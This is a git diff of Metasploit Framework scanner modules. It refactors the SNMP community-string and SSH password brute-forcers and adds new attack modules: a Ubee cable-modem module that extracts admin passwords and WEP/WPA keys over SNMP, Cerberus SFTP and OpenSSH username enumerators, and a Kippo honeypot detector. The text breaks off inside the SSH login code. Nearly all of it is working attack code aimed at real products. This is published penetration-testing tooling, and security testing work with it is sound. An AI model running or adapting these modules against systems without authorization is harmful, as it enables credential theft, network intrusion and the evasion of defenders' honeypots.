- fq_pass = [ip,pass] - next if @tried.include? fq_pass - @tried << fq_pass - vprint_status "#{ip}:#{datastore['RPORT']} - SNMP - Trying #{(pass.nil? || pass.empty?) ? "" : pass}..." - - begin - udp_sock.sendto(data1, ip, datastore['RPORT'].to_i, 0) - udp_sock.sendto(data2, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 10 == 0) - while (r = udp_sock.recvfrom(65535, 0.25) and r[1]) - parse_reply(r) - end - end - - idx += 1 - - end - end - - idx = 0 - while (r = udp_sock.recvfrom(65535, 3) and r[1] and idx < 500) - parse_reply(r) - idx += 1 - end - - if @found.keys.length > 0 - print_status("Validating scan results from #{@found.keys.length} hosts...") - end - - # Review all successful communities and determine write access - @found.keys.sort.each do |host| - fake_comm = Rex::Text.rand_text_alphanumeric(8) - anycomm_ro = false - anycomm_rw = false - comms_ro = [] - comms_rw = [] - finished = false - versions = ["1", "2"] - - versions.each do |version| - comms_todo = @found[host].keys.sort - comms_todo.unshift(fake_comm) - - comms_todo.each do |comm| - begin - sval = nil - snmp = snmp_client(host, datastore['RPORT'].to_i, version, udp_sock, comm) - resp = snmp.get("sysName.0") - resp.each_varbind { |var| sval = var.value } - next if not sval - - svar = ::SNMP::VarBind.new("1.3.6.1.2.1.1.5.0", ::SNMP::OctetString.new(sval)) - resp = snmp.set(svar) - - if resp.error_status == :noError - comms_rw << comm - print_status("Host #{host} provides READ-WRITE access with community '#{comm}'") - if comm == fake_comm - anycomm_rw = true - finished = true - break - end - else - comms_ro << comm - print_status("Host #{host} provides READ-ONLY access with community '#{comm}'") - if comm == fake_comm - anycomm_ro = true - finished = true - break - end - end - - # Used to flag whether this version was compatible - finished = true - - rescue ::SNMP::UnsupportedPduTag, ::SNMP::InvalidPduTag, ::SNMP::ParseError, - ::SNMP::InvalidErrorStatus, ::SNMP::InvalidTrapVarbind, ::SNMP::InvalidGenericTrap, - ::SNMP::BER::OutOfData, ::SNMP::BER::InvalidLength, ::SNMP::BER::InvalidTag, - ::SNMP::BER::InvalidObjectId, ::SNMP::MIB::ModuleNotLoadedError, - ::SNMP::UnsupportedValueTag - next - - rescue ::SNMP::UnsupportedVersion - break - rescue ::SNMP::RequestTimeout - next - end - end - - break if finished - end - - # Report on the results - comms_ro = ["anything"] if anycomm_ro - comms_rw = ["anything"] if anycomm_rw - - comms_rw.each do |comm| - report_auth_info( - :host => host, - :port => datastore['RPORT'].to_i, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => comm, - :duplicate_ok => true, - :active => true, - :source_type => "user_supplied", - :type => "password" - ) - end - - comms_ro.each do |comm| - report_auth_info( - :host => host, - :port => datastore['RPORT'].to_i, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => comm, - :duplicate_ok => true, - :active => true, - :source_type => "user_supplied", - :type => "password_ro" - ) - end - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - end - - end - - # - # Allocate a SNMP client using the existing socket - # - def snmp_client(host, port, version, socket, community) - version = :SNMPv1 if version == "1" - version = :SNMPv2c if version == "2c" - - snmp = ::SNMP::Manager.new( - :Host => host, - :Port => port, - :Community => community, - :Version => version, - :Timeout => 1, - :Retries => 2, - :Transport => SNMP::RexUDPTransport, - :Socket => socket - ) - end - - # - # The response parsers - # - def parse_reply(pkt) - - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil - return if not asn - - snmp_error = asn.value[0].value rescue nil - snmp_comm = asn.value[1].value rescue nil - snmp_data = asn.value[2].value[3].value[0] rescue nil - snmp_oid = snmp_data.value[0].value rescue nil - snmp_info = snmp_data.value[1].value rescue nil - - return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info) - snmp_info = snmp_info.to_s.gsub(/\s+/, ' ') - - inf = snmp_info - com = snmp_comm - - if(com) - @found[pkt[1]]||={} - if(not @found[pkt[1]][com]) - print_good("SNMP: #{pkt[1]} community string: '#{com}' info: '#{inf}'") - @found[pkt[1]][com] = inf - end - - report_service( - :host => pkt[1], - :port => pkt[2], - :proto => 'udp', - :name => 'snmp', - :info => inf, - :state => "open" + batch.each do |ip| + collection = Metasploit::Framework::CommunityStringCollection.new( + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] ) + + scanner = Metasploit::Framework::LoginScanner::SNMP.new( + host: ip, + port: rport, + cred_details: collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 2, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level})" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end end - - def create_probe_snmp1(name) - xid = rand(0x100000000) - pdu = - "\x02\x01\x00" + - "\x04" + [name.length].pack('c') + name + - "\xa0\x1c" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01" + - "\x01\x01\x00\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu - data + def rport + datastore['RPORT'] end - def create_probe_snmp2(name) - xid = rand(0x100000000) - pdu = - "\x02\x01\x01" + - "\x04" + [name.length].pack('c') + name + - "\xa1\x19" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01" + - "\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu - data - end + + end diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb index a16f32693c..edd07e2785 100644 --- a/modules/auxiliary/scanner/snmp/snmp_set.rb +++ b/modules/auxiliary/scanner/snmp/snmp_set.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb new file mode 100644 index 0000000000..40453b7662 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -0,0 +1,159 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Ubee DDW3611b Cable Modem Wifi Enumeration', + 'Description' => %q{ + This module will extract WEP keys and WPA preshared keys from + certain Ubee cable modems. + }, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string' ] + ], + 'Author' => ['Deral "PercentX" Heiland'], + 'License' => MSF_LICENSE + ) + + end + + def run_host(ip) + output_data = {} + begin + snmp = connect_snmp + + if snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/ + print_good("#{ip}") + wifiinfo = "" + + # System user account and Password + username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') + print_good("Username: #{username}") + wifiinfo << "Username: #{username}" << "\n" + password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + print_good("Password: #{password}") + wifiinfo << "Password: #{password}" << "\n" + + wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12') + if wifistatus == 1 + ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12') + print_good("SSID: #{ssid}") + wifiinfo << "SSID: #{ssid}" << "\n" + + #Wifi Security Version + wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12') + if wifiversion == "0" + print_line("Open Access Wifi is Enabled") + + #Wep enabled + elsif wifiversion == "1" + weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12') + if weptype == "2" + wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1') + key1 = "#{wepkey1}".unpack('H*') + print_good("WEP KEY1: #{key1}") + wifiinfo << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2') + key2 = "#{wepkey2}".unpack('H*') + print_good("WEP KEY2: #{key2}") + wifiinfo << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3') + key3 = "#{wepkey3}".unpack('H*') + print_good("WEP KEY3: #{key3}") + wifiinfo << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4') + key4 = "#{wepkey4}".unpack('H*') + print_good("WEP KEY4: #{key4}") + wifiinfo << "WEP KEY4: #{key4}" << "\n" + actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12') + print_good("Active Wep key is #{actkey}") + wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" + + elsif weptype == "1" + wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1') + key1 = "#{wepkey1}".unpack('H*') + print_good("WEP KEY1: #{key1}") + wifiinfo << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2') + key2 = "#{wepkey2}".unpack('H*') + print_good("WEP KEY2: #{key2}") + wifiinfo << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3') + key3 = "#{wepkey3}".unpack('H*') + print_good("WEP KEY3: #{key3}") + wifiinfo << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4') + key4 = "#{wepkey4}".unpack('H*') + print_good("WEP KEY4: #{key4}") + wifiinfo << "WEP KEY4: #{key4}" << "\n" + actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12') + print_good("Active Wep key is #{actkey}") + wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" + + else + print_line("FAILED") + end + + #WPA enabled + elsif wifiversion == "2" + print_line("Device is configured for WPA ") + wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') + print_good("WPA PSK: #{wpapsk}") + wifiinfo << "WPA PSK: #{wpapsk}" << "\n" + + #WPA2 enabled + elsif wifiversion == "3" + print_line("Device is configured for WPA2") + wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') + print_good("WPA2 PSK: #{wpapsk2}") + wifiinfo << "WPA PSK: #{wpapsk2}" << "\n" + + #WPA Enterprise enabled + elsif wifiversion == "4" + print_line("Device is configured for WPA enterprise") + + #WPA2 Enterprise enabled + elsif wifiversion == "5" + print_line("Device is configured for WPA2 enterprise") + + #WEP 802.1x enabled + elsif wifiversion == "6" + print_line("Device is configured for WEP 802.1X") + + else + print_line("FAILED") + end + + else + print_line("WIFI is not enabled") + end + end + #Woot we got loot. + loot_name = "ubee_wifi" + loot_type = "text/plain" + loot_filename = "ubee_wifi.txt" + loot_desc = "Ubee Wifi configuration data" + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc) + print_status("WIFI Data saved: #{p}") + + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip} - Error: #{e.class} #{e}") + disconnect_snmp + end + end +end diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb index ee843e1c08..c6cf8702bd 100644 --- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb new file mode 100644 index 0000000000..24e141f588 --- /dev/null +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cerberus FTP Server SFTP Username Enumeration', + 'Description' => %q{ + This module uses a dictionary to brute force valid usernames from + Cerberus FTP server via SFTP. This issue affects all versions of + the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy + in the way the SSH service handles failed logins for valid and invalid + users. This issue was discovered by Steve Embling. + }, + 'Author' => [ + 'Steve Embling', # Discovery + 'Matt Byrne ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ], + [ 'BID', '67707'] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 27 2014' + )) + + register_options( + [ + Opt::Proxies, + Opt::RPORT(22), + OptPath.new( + 'USER_FILE', + [true, 'Files containing usernames, one per line', nil]) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new( + 'RETRY_NUM', + [true , 'The number of attempts to connect to a SSH server for each user', 3]), + OptInt.new( + 'SSH_TIMEOUT', + [true, 'Specify the maximum time to negotiate a SSH session', 10]), + OptBool.new( + 'SSH_DEBUG', + [true, 'Enable SSH debugging output (Extreme verbosity!)', false]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def retry_num + datastore['RETRY_NUM'] + end + + def check_vulnerable(ip) + options = { + :port => rport, + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + begin + transport = Net::SSH::Transport::Session.new(ip, options) + rescue Rex::ConnectionError + return :connection_error + end + + auth = Net::SSH::Authentication::Session.new(transport, options) + auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8)) + auth_method = auth.allowed_auth_methods.join('|') + print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}" + report_service( + :host => ip, + :port => rport, + :name => "ssh", + :proto => "tcp", + :info => auth.transport.server_version.version + ) + + if auth_method.empty? + :vulnerable + else + :safe + end + end + + def check_user(ip, user, port) + pass = Rex::Text.rand_text_alphanumeric(8) + + opt_hash = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + transport = Net::SSH::Transport::Session.new(ip, opt_hash) + auth = Net::SSH::Authentication::Session.new(transport, opt_hash) + + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + auth.authenticate("ssh-connection", user, pass) + auth_method = auth.allowed_auth_methods.join('|') + if auth_method != '' + :success + else + :fail + end + end + rescue Rex::ConnectionError + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :success + rescue ::Timeout::Error + return :connection_error + end + end + + def do_report(ip, user, port) + report_auth_info( + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :active => true + ) + end + + def peer(rhost=nil) + "#{rhost}:#{rport} SSH -" + end + + def user_list + users = nil + if File.readable? datastore['USER_FILE'] + users = File.new(datastore['USER_FILE']).read.split + users.each {|u| u.downcase!} + users.uniq! + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + + users + end + + def attempt_user(user, ip) + attempt_num = 0 + ret = nil + + while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error) + if attempt_num > 0 + Rex.sleep(2 ** attempt_num) + print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" + end + + ret = check_user(ip, user, rport) + attempt_num += 1 + end + + ret + end + + def show_result(attempt_result, user, ip) + case attempt_result + when :success + print_good "#{peer(ip)} User '#{user}' found" + do_report(ip, user, rport) + when :connection_error + print_error "#{peer(ip)} User '#{user}' could not connect" + when :fail + vprint_status "#{peer(ip)} User '#{user}' not found" + end + end + + def run_host(ip) + print_status "#{peer(ip)} Checking for vulnerability" + case check_vulnerable(ip) + when :vulnerable + print_good "#{peer(ip)} Vulnerable" + print_status "#{peer(ip)} Starting scan" + user_list.each do |user| + show_result(attempt_user(user, ip), user, ip) + end + when :safe + print_error "#{peer(ip)} Not vulnerable" + when :connection_error + print_error "#{peer(ip)} Connection failed" + end + end +end + diff --git a/modules/auxiliary/scanner/ssh/detect_kippo.rb b/modules/auxiliary/scanner/ssh/detect_kippo.rb new file mode 100644 index 0000000000..1b1371675c --- /dev/null +++ b/modules/auxiliary/scanner/ssh/detect_kippo.rb @@ -0,0 +1,49 @@ +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kippo SSH Honeypot Detector', + 'Description' => %q{ + This module will detect if an SSH server is running a Kippo honeypot. + This is done by issuing unexpected data to the SSH service and checking + the response returned for two particular non-standard error messages. + }, + 'Author' => 'Andrew Morris ', + 'References' => [ + ['URL', 'https://cultofthedyingsun.wordpress.com/2014/09/12/death-by-magick-number-fingerprinting-kippo-2014/'], + ['URL', 'http://morris.guru/detecting-kippo-ssh-honeypots/'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(22) + ]) + end + + def run_host(ip) + connect + banner = sock.get_once || '' + sock.put(banner + "\n" * 8) + response = sock.get_once || '' + + if response =~ /(?:^Protocol mismatch\.\n$|bad packet length)/ + print_good("#{ip}:#{rport} - Kippo detected!") + report_service( + :host => ip, + :port => rport, + :name => 'ssh', + :info => 'Kippo SSH honeypot' + ) + else + vprint_status("#{ip}:#{rport} - #{banner.strip} detected") + end + end + +end diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb new file mode 100644 index 0000000000..b4df478b0a --- /dev/null +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SSH Username Enumeration', + 'Description' => %q{ + This module uses a time-based attack to enumerate users on an OpenSSH server. + On some versions of OpenSSH under some configurations, OpenSSH will return a + "permission denied" error for an invalid user faster than for a valid user. + }, + 'Author' => ['kenkeiras'], + 'References' => + [ + ['CVE', '2006-5229'], + ['OSVDB', '32721'], + ['BID', '20418'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::Proxies, + Opt::RPORT(22), + OptPath.new('USER_FILE', + [true, 'File containing usernames, one per line', nil]), + OptInt.new('THRESHOLD', + [true, + 'Amount of seconds needed before a user is considered ' \ + 'found', 10]) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new('RETRY_NUM', + [true , 'The number of attempts to connect to a SSH server' \ + ' for each user', 3]), + OptInt.new('SSH_TIMEOUT', + [false, 'Specify the maximum time to negotiate a SSH session', + 10]), + OptBool.new('SSH_DEBUG', + [false, 'Enable SSH debugging output (Extreme verbosity!)', + false]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def retry_num + datastore['RETRY_NUM'] + end + + def threshold + datastore['THRESHOLD'] + end + + # Returns true if a nonsense username appears active. + def check_false_positive(ip) + user = Rex::Text.rand_text_alphanumeric(8) + result = attempt_user(user, ip) + return(result == :success) + end + + def check_user(ip, user, port) + pass = Rex::Text.rand_text_alphanumeric(64_000) + + opt_hash = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :password => pass, + :config => false, + :proxies => datastore['Proxies'] + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + start_time = Time.new + + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(ip, user, opt_hash) + end + rescue Rex::ConnectionError + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :success + rescue ::Timeout::Error + return :success + rescue Net::SSH::Exception + end + + finish_time = Time.new + + if finish_time - start_time > threshold + :success + else + :fail + end + end + + def do_report(ip, user, port) + report_auth_info( + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :active => true + ) + end + + # Because this isn't using the AuthBrute mixin, we don't have the + # usual peer method + def peer(rhost=nil) + "#{rhost}:#{rport} - SSH -" + end + + def user_list + if File.readable? datastore['USER_FILE'] + File.new(datastore['USER_FILE']).read.split + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + end + + def attempt_user(user, ip) + attempt_num = 0 + ret = nil + + while attempt_num <= retry_num and (ret.nil? or ret == :connection_error) + if attempt_num > 0 + Rex.sleep(2 ** attempt_num) + print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" + end + + ret = check_user(ip, user, rport) + attempt_num += 1 + end + + ret + end + + def show_result(attempt_result, user, ip) + case attempt_result + when :success + print_good "#{peer(ip)} User '#{user}' found" + do_report(ip, user, rport) + when :connection_error + print_error "#{peer(ip)} User '#{user}' on could not connect" + when :fail + print_debug "#{peer(ip)} User '#{user}' not found" + end + end + + def run_host(ip) + print_status "#{peer(ip)} Checking for false positives" + if check_false_positive(ip) + print_error "#{peer(ip)} throws false positive results. Aborting." + return + else + print_status "#{peer(ip)} Starting scan" + user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) } + end + end + +end diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index cf096ba2bc..3bc9ed96fb 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -226,7 +226,7 @@ class Metasploit3 < Msf::Auxiliary ::Timeout.timeout(1) { ssh_socket.close if ssh_socket } rescue nil - rescue Rex::ConnectionError, Rex::AddressInUse + rescue Rex::ConnectionError return :connection_error rescue Net::SSH::Disconnect, ::EOFError return :connection_disconnect @@ -269,7 +269,7 @@ class Metasploit3 < Msf::Auxiliary end def existing_loot(ltype, key_id) - framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first + framework.db.loots(myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first end def store_keyfile(ip,user,key_id,key_data) diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index b08a3e55cb..599917e2dc 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -1,19 +1,20 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' +require 'metasploit/framework/login_scanner/ssh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials + include Msf::Auxiliary::Scanner def initialize super( @@ -40,152 +41,116 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ + Opt::Proxies, OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) - deregister_options('RHOST') - - @good_credentials = {} - end def rport datastore['RPORT'] end - def do_login(ip,user,pass,port) - opt_hash = { - :auth_methods => ['password','keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :port => port, - :disable_agent => true, - :password => pass, - :config => false, - :proxies => datastore['Proxies'] + def session_setup(result, ssh_socket) + return unless ssh_socket + + # Create a new session + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) + + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'PASSWORD' => result.credential.private } + info = "#{proto_from_fullname} #{result.credential} (#{@ip}:#{rport})" + s = start_session(self, info, merge_me, false, conn.lsock) - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] - - begin - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - self.ssh_socket = Net::SSH.start( - ip, - user, - opt_hash - ) - end - rescue Rex::ConnectionError, Rex::AddressInUse - return :connection_error - rescue Net::SSH::Disconnect, ::EOFError - return :connection_disconnect - rescue ::Timeout::Error - return :connection_disconnect - rescue Net::SSH::Exception - return [:fail,nil] # For whatever reason. Can't tell if passwords are on/off without timing responses. + # Set the session platform + case result.proof + when /Linux/ + s.platform = "linux" + when /Darwin/ + s.platform = "osx" + when /SunOS/ + s.platform = "solaris" + when /BSD/ + s.platform = "bsd" + when /HP-UX/ + s.platform = "hpux" + when /AIX/ + s.platform = "aix" + when /Win32|Windows/ + s.platform = "windows" + when /Unknown command or computer name/ + s.platform = "cisco-ios" end - if self.ssh_socket - proof = '' - begin - Timeout.timeout(5) do - proof = self.ssh_socket.exec!("id\n").to_s - if(proof =~ /id=/) - proof << self.ssh_socket.exec!("uname -a\n").to_s - else - # Cisco IOS - if proof =~ /Unknown command or computer name/ - proof = self.ssh_socket.exec!("ver\n").to_s - else - proof << self.ssh_socket.exec!("help\n?\n\n\n").to_s - end - end - end - rescue ::Exception - end - - # Create a new session - conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) - - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user, - 'PASSWORD' => pass - } - info = "#{proto_from_fullname} #{user}:#{pass} (#{ip}:#{port})" - s = start_session(self, info, merge_me, false, conn.lsock) - - # Set the session platform - case proof - when /Linux/ - s.platform = "linux" - when /Darwin/ - s.platform = "osx" - when /SunOS/ - s.platform = "solaris" - when /BSD/ - s.platform = "bsd" - when /HP-UX/ - s.platform = "hpux" - when /AIX/ - s.platform = "aix" - when /Win32|Windows/ - s.platform = "windows" - when /Unknown command or computer name/ - s.platform = "cisco-ios" - end - return [:success, proof] - else - return [:fail, nil] - end + s end - def do_report(ip,user,pass,port,proof) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true - ) - end def run_host(ip) + @ip = ip print_brute :ip => ip, :msg => "Starting bruteforce" - each_user_pass do |user, pass| - print_brute :level => :vstatus, - :ip => ip, - :msg => "Trying: username: '#{user}' with password: '#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :connection_error or ret == :connection_disconnect) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - print_brute :level => :verror, :ip => ip, :msg => "Retrying '#{user}':'#{pass}' due to connection error" - end - ret,proof = do_login(ip,user,pass,rport) - this_attempt += 1 - end - case ret - when :success - print_brute :level => :good, :ip => ip, :msg => "Success: '#{user}':'#{pass}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip,user,pass,rport,proof) + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::SSH.new( + host: ip, + port: rport, + cred_details: cred_collection, + proxies: datastore['Proxies'], + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 